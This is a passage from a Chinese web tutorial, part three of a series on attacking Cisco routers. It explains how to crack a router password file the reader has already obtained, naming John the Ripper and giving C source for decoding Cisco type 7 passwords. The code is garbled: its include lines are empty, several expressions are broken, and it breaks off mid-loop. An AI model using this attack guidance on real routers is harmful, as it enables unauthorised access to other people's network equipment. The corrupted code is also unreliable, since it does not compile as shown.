攻击CISCO路由器( 三 )


------------------------------
第四段:怎样破解密码?
现在 , 你获得了密码文件 , 你要破解它才能继续进入路由器 。所以你可以运行John the Ripper之类的软件破译它 。
这是我推荐的最简单的方法.另一种方法是试着把它解码 。这样做需要一个解码软件 , 使用某些解码软件 , 你还要有足够的耐心 。
这儿有一个专门为cisco路由器密码文件解码的软件 , 你可以在Linux中编译它:
#include
#include
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};
char pw_str1[] = "passWord 7 ";
char pw_str2[] = "enable-password 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - ?") * 10enc_pw[1] - ?"
if (seed > 15!isdigit(enc_pw[0])!isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i

推荐阅读